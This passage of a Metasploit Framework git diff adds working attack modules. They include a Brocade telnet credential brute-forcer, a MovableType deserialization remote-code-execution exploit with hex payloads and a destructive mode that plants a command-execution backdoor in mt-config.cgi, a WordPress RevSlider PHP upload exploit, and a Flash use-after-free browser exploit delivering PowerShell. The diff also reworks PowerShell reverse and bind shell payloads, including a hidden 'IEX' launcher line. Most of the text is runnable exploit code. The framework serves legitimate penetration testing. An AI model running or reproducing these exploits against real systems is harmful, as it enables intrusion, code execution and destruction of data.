header + # Note that they are case-insensitive but stored in a hash + server_header = nil + location_header = nil + if !res.headers.nil? + res.headers.each do |key, val| + location_header = val if key.downcase == 'location' + server_header = val if key.downcase == 'server' + end + else + print_error("[#{target_host}:#{rport}] No HTTP headers") if datastore['SHOW_ERRORS'] == true + end + + # If the body is blank, just stop now as there is no chance of a title + if res.body.nil? + print_error("[#{target_host}:#{rport}] No webpage body") if datastore['SHOW_ERRORS'] == true + return + end + + # Very basic, just match the first title tag we come to. If the match fails, + # there is no chance that we will have a title + rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*}im.match(res.body.to_s) + unless rx + print_error("[#{target_host}:#{rport}] No webpage title") if datastore['SHOW_ERRORS'] == true + return + end + + # Last bit of logic to capture the title + rx[:title].strip! + if rx[:title] != '' + rx_title = Rex::Text.html_decode(rx[:title]) + print_status("[#{target_host}:#{rport}] [C:#{res.code}] [R:#{location_header}] [S:#{server_header}] #{rx_title}") if datastore['SHOW_TITLES'] == true + if datastore['STORE_NOTES'] == true + notedata = { code: res.code, port: rport, server: server_header, title: rx_title, redirect: location_header } + report_note(host: target_host, type: "http.title", data: notedata) + end + else + print_error("[#{target_host}:#{rport}] No webpage title") if datastore['SHOW_ERRORS'] == true + end + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end +end diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index 6fc74b4976..c167d8a093 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module exploits a directory traversal vulnerability in WordPress Plugin "WP Mobile Edition" version 2.2.7, allowing to read arbitrary files with the - web server privileges. Stay tuned to the correct value in TARGETURI. + web server privileges. }, 'References' => [ diff --git a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb new file mode 100644 index 0000000000..95decddd85 --- /dev/null +++ b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/telnet' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::Telnet + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::CommandShell + + def initialize + super( + 'Name' => 'Brocade Enable Login Check Scanner', + 'Description' => %q{ + This module will test a range of Brocade network devices for a + privileged logins and report successes. The device authentication mode + must be set as 'aaa authentication enable default local'. + Telnet authentication, e.g. 'enable telnet authentication', should not + be enabled in the device configuration. + + This module has been tested against the following devices: + ICX6450-24 SWver 07.4.00bT311, + FastIron WS 624 SWver 07.2.02fT7e1 + }, + 'Author' => 'h00die ', + 'References' => + [ + [ 'CVE', '1999-0502'] # Weak password + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true]) + ], self.class + ) + @no_pass_prompt = [] + end + + def get_username_from_config(un_list,ip) + ["config", "running-config"].each do |command| + print_status(" Attempting username gathering from #{command} on #{ip}") + sock.puts("\r\n") # ensure that the buffer is clear + config = sock.recv(1024) + sock.puts("show #{command}\r\n") + + # pull the entire config + while true do + sock.puts(" \r\n") # paging + config << sock.recv(1024) + # Read until we are back at a prompt and have received the 'end' of + # the config. + break if config.match(/>$/) and config.match(/end/) + end + + config.each_line do |un| + if un.match(/^username/) + found_username = un.split(" ")[1].strip + un_list.push(found_username) + print_status(" Found: #{found_username}@#{ip}") + end + end + end + end + + attr_accessor :no_pass_prompt + attr_accessor :password_only + + def run_host(ip) + un_list = [] + if datastore['GET_USERNAMES_FROM_CONFIG'] + connect() + get_username_from_config(un_list,ip) + disconnect() + end + + if datastore['USERNAME'] #put the provided username on the array to try + un_list.push(datastore['USERNAME']) + end + + un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal + + un_list.each do |un| + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: un, + user_as_pass: datastore['USER_AS_PASS'], + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::Telnet.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['Timeout'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + banner_timeout: datastore['TelnetBannerTimeout'], + telnet_timeout: datastore['TelnetTimeout'], + pre_login: lambda { |s| raw_send("enable\r\n", s.sock) }, + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}") + start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) + else + invalidate_login(credential_data) + print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})") + end + end + end + end + + def start_telnet_session(host, port, user, pass, scanner) + print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}") + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => user, + 'PASSWORD' => pass + } + + start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock) + end +end diff --git a/modules/exploits/linux/http/multi_ncc_ping_exec.rb b/modules/exploits/linux/http/multi_ncc_ping_exec.rb index 339ff10ed7..ebe48adcb0 100644 --- a/modules/exploits/linux/http/multi_ncc_ping_exec.rb +++ b/modules/exploits/linux/http/multi_ncc_ping_exec.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a remote command injection vulnerability on several routers. The vulnerability exists in the ncc service, while handling ping commands. This module has - been tested on a DIR-626L emulated environment only. Several D-Link and TRENDnet devices + been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A) diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 4121d455c5..d409ea6b1b 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -98,10 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote # We need this class as a wrapper to run in a thread. For some reason # the Payload class is giving illegal access exceptions without it. - path = File.join(Msf::Config.data_directory, "java", "metasploit", "PayloadServlet.class") - fd = File.open(path, "rb") - servlet = fd.read(fd.stat.size) - fd.close + servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') zip.add_file("metasploit/PayloadServlet.class", servlet) contents = zip.pack diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 8e4fe6c908..b2d1ab2b25 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote ["metasploit", "JMXPayloadMBean.class"], ["metasploit", "JMXPayload.class"], ] - jar.add_files(paths, [ Msf::Config.data_directory, "java" ]) + jar.add_files(paths, MetasploitPayloads.path('java')) send_response(cli, jar.pack, { diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index c94eaf9988..b557a3bf4b 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -179,7 +179,7 @@ class Metasploit3 < Msf::Exploit::Remote [ "metasploit", "RMILoader.class" ], [ "metasploit", "RMIPayload.class" ], ] - jar.add_files(paths, [ Msf::Config.data_directory, "java" ]) + jar.add_files(paths, MetasploitPayloads.path('java')) send_response(cli, jar.pack, { diff --git a/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb b/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb new file mode 100644 index 0000000000..3bdd447427 --- /dev/null +++ b/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SixApart MovableType Storable Perl Code Execution', + 'Description' => %q{ + This module exploits a serialization flaw in MovableType before 5.2.12 to execute + arbitrary code. The default nondestructive mode depends on the target server having + the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths. + The destructive mode of operation uses only required MovableType dependencies, + but it will noticeably corrupt the MovableType installation. + }, + 'Author' => + [ + 'John Lightsey', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-1592' ], + [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ], + ], + 'Privileged' => false, # web server context + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => ' ', + 'Space' => 1024, + }, + 'Compat' => + { + 'PayloadType' => 'cmd' + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'Feb 11 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']), + OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false]) + ], self.class + ) + + end + +=begin + +#!/usr/bin/perl + +# generate config parameters for injection checks + +use Storable; + +{ + + package XXXCHECKXXX; + + sub STORABLE_thaw { + return 1; + } + + sub STORABLE_freeze { + return 1; + } + +} + +my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX; +my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj}); +$frozen = unpack 'H*', $frozen; +print "LFI test for storable flaw is: $frozen\n"; + +{ + package DateTime; + use overload '+' => sub { 'ignored' }; +} + +=end + + def check + vprint_status("#{peer} - Sending storable test injection for XXXCHECKXXX.pm load failure") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), + 'vars_get' => { + '__mode' => 'retry', + 'step' => 'configure', + 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078' + } + }) + + unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm") + vprint_status("#{peer} - Failed XXXCHECKXXX.pm load test"); + return Exploit::CheckCode::Safe + end + Exploit::CheckCode::Vulnerable + end + + def exploit + if datastore['DESTRUCTIVE'] == true + exploit_destructive + else + exploit_nondestructive + end + end + +=begin + +#!/usr/bin/perl + +# Generate nondestructive config parameter for RCE via Object::MultiType +# and Try::Tiny. The generated value requires minor modification to insert +# the payload inside the system() call and resize the padding. + +use Storable; + +{ + package Object::MultiType; + use overload '+' => sub { 'ingored' }; +} + +{ + package Object::MultiType::Saver; +} + +{ + package DateTime; + use overload '+' => sub { 'ingored' }; +} + +{ + package Try::Tiny::ScopeGuard; +} + +my $try_tiny_loader = bless {}, 'DateTime'; +my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver'; +my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType'; +my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard'; + +my $data = [$try_tiny_loader, $try_tiny_executor]; +my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); +$frozen = unpack 'H*', $frozen; +print "RCE payload requiring Object::MultiType and DateTime: $frozen\n"; + +=end + + def exploit_nondestructive + print_status("#{peer} - Using nondestructive attack method") + config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b" + config_payload << payload.encoded.unpack('H*')[0] + config_payload << "7d293b" + config_payload << "23" * (1025 - payload.encoded.length) + config_payload << "0a657869743b" + + print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)") + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), + 'vars_get' => { + '__mode' => 'retry', + 'step' => 'configure', + 'config' => config_payload + } + }, 5) + end + +=begin + +#!/usr/bin/perl + +# Generate destructive config parameter to unlink mt-config.cgi + +use Storable; + +{ + package CGITempFile; +} + +my $unlink_target = "mt-config.cgi"; +my $cgitempfile = bless \$unlink_target, "CGITempFile"; + +my $data = [$cgitempfile]; +my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); +$frozen = unpack 'H*', $frozen; +print "RCE unlink payload requiring CGI: $frozen\n"; + +=end + + def exploit_destructive + print_status("#{peer} - Using destructive attack method") + # First we need to delete mt-config.cgi using the storable injection + + print_status("#{peer} - Sending storable injection to unlink mt-config.cgi") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), + 'vars_get' => { + '__mode' => 'retry', + 'step' => 'configure', + 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769' + } + }) + + if res && res.code == 200 + print_status("Successfully sent unlink request") + else + fail_with(Failure::Unknown, "Error sending unlink request") + end + + # Now we rewrite mt-config.cgi to accept a payload + + print_status("#{peer} - Rewriting mt-config.cgi to accept the payload") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), + 'vars_get' => { + '__mode' => 'next_step', + 'step' => 'optional', + 'default_language' => 'en_us', + 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1", + 'set_static_uri_to' => '/', + 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/', + } + }) + + if res && res.code == 200 + print_status("Successfully sent mt-config rewrite request") + else + fail_with(Failure::Unknown, "Error sending mt-config rewrite request") + end + + # Finally send the payload + + print_status("#{peer} - Sending payload request") + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mt.cgi'), + 'vars_get' => { + 'xyzzy' => payload.encoded, + } + }, 5) + end + +end diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb new file mode 100644 index 0000000000..de36db95df --- /dev/null +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability', + 'Description' => %q{ + This module exploits an arbitrary PHP code upload in the WordPress ThemePunch + Slider Revolution (RevSlider) plugin, versions 3.0.95 and prior. The + vulnerability allows for arbitrary file upload and remote code execution. + }, + 'Author' => + [ + 'Simo Ben youssef', # Vulnerability discovery + 'Tom Sellers ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '115118'], + ['EDB', '35385'], + ['WPVDB', '7954'], + ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]], + 'DisclosureDate' => 'Nov 26 2014', + 'DefaultTarget' => 0) + ) + end + + def check + release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt') + check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96') + end + + def exploit + php_pagename = rand_text_alpha(4 + rand(4)) + '.php' + + # Build the zip + payload_zip = Rex::Zip::Archive.new + # If the filename in the zip is revslider.php it will be automatically + # executed but it will break the plugin and sometimes WordPress + payload_zip.add_file('revslider/' + php_pagename, payload.encoded) + + # Build the POST body + data = Rex::MIME::Message.new + data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"') + data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"') + data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"") + post_data = data.to_s + + res = send_request_cgi( + 'uri' => wordpress_url_admin_ajax, + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + ) + + if res + if res.code == 200 && res.body =~ /Update in progress/ + # The payload itself almost never deleted, try anyway + register_files_for_cleanup(php_pagename) + # This normally works + register_files_for_cleanup('../revslider.zip') + final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename) + print_good("#{peer} - Our payload is at: #{final_uri}") + print_status("#{peer} - Calling payload...") + send_request_cgi( + 'uri' => normalize_uri(final_uri), + 'timeout' => 5 + ) + elsif res.code == 200 && res.body =~ /^0$/ + # admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown + fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated") + else + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") + end + else + fail_with(Failure::Unknown, 'ERROR') + end + end + +end diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 03f5405963..8124df7000 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -17,9 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload', 'Description' => %q{ The Wordpress SlideShow Gallery plugin contains an authenticated file upload - vulnerability. We can upload arbitrary files to the upload folder, because - the plugin also uses it's own file upload mechanism instead of the wordpress - api it's possible to upload any file type. + vulnerability. An attacker can upload arbitrary files to the upload folder. + Since the plugin uses its own file upload mechanism instead of the WordPress + API, it's possible to upload any file type. }, 'Author' => [ diff --git a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb new file mode 100644 index 0000000000..76b798a401 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player domainMemory ByteArray Use After Free', + 'Description' => %q{ + This module exploits a use-after-free vulnerability in Adobe Flash Player. The + vulnerability occurs when the ByteArray assigned to the current ApplicationDomain + is freed from an ActionScript worker, when forcing a reallocation by copying more + contents than the original capacity, but Flash forgets to update the domainMemory + pointer, leading to a use-after-free situation when the main worker references the + domainMemory again. This module has been tested successfully on Windows 7 SP1 + (32-bit), IE 8 and IE11 with Flash 17.0.0.134. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bilou', # Vulnerability discovery according to Flash Advisory + 'Unknown', # Exploit in the wild + 'hdarwin', # @hdarwin89 / public exploit (msf module is based on this one) + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-0359'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html'], + ['URL', 'http://malware.dontneedcoffee.com/2015/04/cve-2015-0359-flash-up-to-1700134-and.html'], + ['URL', 'https://git.hacklab.kr/snippets/13'], + ['URL', 'http://pastebin.com/Wj3NViUu'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS_7, + :ua_name => Msf::HttpClients::IE, + :flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') }, + :arch => ARCH_X86 + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Apr 14 2014', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) + b64_payload = Rex::Text.encode_base64(psh_payload) + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0359', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 3ad5ac650d..57c7bab053 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Local [ [ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ] ], - 'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy + 'DisclosureDate' => 'Jan 01 1999' # Same as psexec -- a placeholder date for non-vuln 'exploits' )) register_options( diff --git a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb index 62ebf7f8a0..0bd2d0d1b5 100644 --- a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb @@ -6,13 +6,16 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/powershell' +require 'msf/core/payload/windows/powershell' +require 'msf/core/handler/bind_tcp' module Metasploit3 - CachedSize = 1342 + CachedSize = 1510 include Msf::Payload::Single include Rex::Powershell::Command + include Msf::Payload::Windows::Powershell def initialize(info = {}) super(merge_info(info, @@ -39,35 +42,7 @@ module Metasploit3 end def generate - lport = datastore['LPORT'] - lhost = datastore['LHOST'] - - template_path = ::File.join(Msf::Config.data_directory, 'exploits', - 'powershell','powerfun.ps1') - - script_in = "" - ::File.open(template_path, "rb") do |fd| - script_in << fd.read(fd.stat.size) - end - script_in << "\npowerfun -Command bind" - - mods = '' - - if datastore['LOAD_MODULES'] - mods_array = datastore['LOAD_MODULES'].to_s.split(',') - mods_array.collect(&:strip) - vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session") - mods_array.each {|m| vprint_good " #{m}"} - mods = "\"#{mods_array.join("\",\n\"")}\"" - script_in << " -Download true\n" - end - - script_in.gsub!('MODULES_REPLACE', mods) - script_in.gsub!('LPORT_REPLACE', lport.to_s) - script_in.gsub!('LHOST_REPLACE', lhost.to_s) - - script = Rex::Powershell::Command.compress_script(script_in) - "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})" + generate_powershell_code("Bind") end end diff --git a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb index f5a4b0b2bf..126dc7d639 100644 --- a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb @@ -5,13 +5,16 @@ require 'msf/core' require 'msf/base/sessions/powershell' +require 'msf/core/payload/windows/powershell' +require 'msf/core/handler/reverse_tcp_ssl' module Metasploit3 - CachedSize = 1342 + CachedSize = 1518 include Msf::Payload::Single include Rex::Powershell::Command + include Msf::Payload::Windows::Powershell def initialize(info = {}) super(merge_info(info, @@ -29,7 +32,7 @@ module Metasploit3 'License' => MSF_LICENSE, 'Platform' => 'windows', 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::ReverseTcp, + 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::PowerShell, 'RequiredCmd' => 'generic', 'Payload' => @@ -45,34 +48,7 @@ module Metasploit3 end def generate - lport = datastore['LPORT'] - lhost = datastore['LHOST'] - - template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1') - script_in = "" - ::File.open(template_path, "rb") do |fd| - script_in << fd.read(fd.stat.size) - end - - script_in << "\npowerfun -Command reverse" - - mods = '' - - if datastore['LOAD_MODULES'] - mods_array = datastore['LOAD_MODULES'].to_s.split(',') - mods_array.collect(&:strip) - vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session") - mods_array.each {|m| vprint_good " #{m}"} - mods = "\"#{mods_array.join("\",\n\"")}\"" - script_in << " -Download true\n" - end - - script_in.gsub!('MODULES_REPLACE', mods) - script_in.gsub!('LPORT_REPLACE', lport.to_s) - script_in.gsub!('LHOST_REPLACE', lhost.to_s) - - script = Rex::Powershell::Command.compress_script(script_in) - "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})" + generate_powershell_code("Reverse") end end diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 13dc0c7a8b..ca47412e51 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -53,10 +53,8 @@ module Metasploit3 jar.add_file(full, '') end end - fd = File.open(File.join( Msf::Config.data_directory, "java", path ), "rb") - data = fd.read(fd.stat.size) + data = MetasploitPayloads.read('java', path) jar.add_file(path.join("/"), data) - fd.close end jar.build_manifest(:main_class => "metasploit.Payload") jar.add_file("metasploit.dat", config) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index ebe20d424e..bcc228198a 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 883870 + CachedSize = 883358 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index be8f673eb3..ed676b0b04 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 884914 + CachedSize = 884402 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 15aeaef6dc..2747be9ec3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 884914 + CachedSize = 884402 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index d2ca331b7f..8d330fddbf 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ 